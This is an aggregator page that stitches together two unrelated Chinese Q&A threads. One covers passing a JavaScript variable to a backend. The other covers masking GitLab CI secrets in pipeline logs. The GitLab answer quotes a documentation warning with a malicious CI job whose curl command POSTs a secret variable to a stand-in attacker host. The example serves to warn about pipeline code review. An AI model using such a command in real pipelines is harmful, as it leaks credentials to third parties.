请问js里的变量值怎样传入后台?

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了请问js里的变量值怎样传入后台?相关的知识,希望对你有一定的参考价值。

我在js里定义了一个var变量,比如var id=1;然后:
th.action="/*.do?name=id;
th.submit();

但是后台里,request.getParameter("name");得到的值不是1,而是"id"这两个字呀!请问怎样才能把var id的值传到后台呢?

你可以使用隐藏域或者是用JS来跳转页面,在跳转的路径上写上你要的传的id就可以了;

第一种:就如 function go(id)

location="index.jsp?id="+id;


第二种隐藏域:先拉一个隐藏域 value="1"--你想传的id

两种方法都可以在后台直接用request.getParameter("name")得到值的
参考技术A 你的写法可能有问题,把变量写到字符串里面了
这样写:th.action="/*.do?name=" + id;本回答被提问者采纳
参考技术B 二楼正解

执行 bash 脚本时隐藏 Gitlab 管道日志中的变量值

【中文标题】执行 bash 脚本时隐藏 Gitlab 管道日志中的变量值【英文标题】:Hide variable value in Gitlab pipeline logs when bash script is executed 【发布时间】:2020-10-30 20:03:43 【问题描述】:

当我在阶段(Gitlab 管道)中运行 bash 文件时,它会在日志中显示 GitLab 机密值,理想情况下这些值不应该是可见的。我怎样才能避免这种情况?

GitLab 流水线阶段

stage: docker_push
script:
    - /home/directory/dockerPush.sh
tags:
    - docker

bash 文件(dockerPush.sh)内容

docker login --username foo --password $DOCKER_LOGIN_PASSWORD
docker push $IMAGE_NAME

管道日志

+ docker login --username foo --password Doc49byfe

【问题讨论】:

【参考方案1】:

当您添加变量时,请检查“掩码变量”选项:

【讨论】:

【参考方案2】:

您需要像 Glen 回答一样使用掩码功能。

但掩码功能有一些与变量格式相关的限制,如本文档https://docs.gitlab.com/ee/ci/variables/#masked-variable-requirements

如果 Gitlab 拒绝屏蔽你的变量,你需要在你的 shell 脚本中做。

一种简单的方法是将输出发送到文件(如果您确实需要日志),或者另一种选择是将输出发送到/dev/null

【讨论】:

【参考方案3】:

GitLab 中有 Group-Level Environmental Variables 可用:

您可以定义在管道环境中设置的每个项目或每个组的变量。组级变量存储在存储库之外(不在 .gitlab-ci.yml 中)。它们被安全地传递给 GitLab Runner,这使得它们在管道运行期间可用。 // 我们建议高级用户使用组环境变量来存储机密(如密码、SSH 密钥和凭据):

不要使用外部密钥库。 使用 GitLab 与 HashiCorp Vault 的集成。

进一步:

安全

推送到您的 .gitlab-ci.yml 文件的恶意代码可能会破坏您的变量并将它们发送到第三方服务器,无论屏蔽设置如何。如果管道在受保护的分支或受保护的标签上运行,它也可能危及受保护的变量。

所有引入 .gitlab-ci.yml 更改的合并请求之前都应仔细审查:

为从分叉项目提交的合并请求在父项目中运行管道。

合并更改。

这是一个恶意.gitlab-ci.yml的简化示例:

build:
  script:
    - curl --request POST --data "secret_variable=$SECRET_VARIABLE" https://maliciouswebsite.abcd/

关于屏蔽

掩码变量(可选):如果选中,变量的值不会显示在作业日志中。如果值不满足屏蔽要求,则不保存变量。

启用调试跟踪可能会产生严重的安全隐患。输出将包含所有变量的内容和任何其他秘密!输出将上传到 GitLab 服务器并在作业日志中显示!

结论:

    使用组变量 如果不能:屏蔽变量

【讨论】:

【参考方案4】:

您是否尝试从 gitlab 管理面板添加您的环境变量,并将您的变量设置为 protected?这是一个例子:https://secrethub.io/docs/guides/gitlabci/#provide-credential 最好的,

【讨论】:

protected don't mask the env var 变量,让它准备好只在受保护的分支中使用 我的意思是掩码功能不好,我在使用术语“安全”的 bitbucket 管道上工作太多:)

以上是关于请问js里的变量值怎样传入后台?的主要内容,如果未能解决你的问题,请参考以下文章

js如何实现将一个通过计算出来的变量值,不刷新页面就可以将变量值显示在同一页面的文本框中?

关于php读取js的变量值问题

执行 bash 脚本时隐藏 Gitlab 管道日志中的变量值

js多个变量值连接怎么写

jsp页面如何获js中if语句的变量值

Django 2021年最新版教程7前端html接收后端传递的变量值 渲染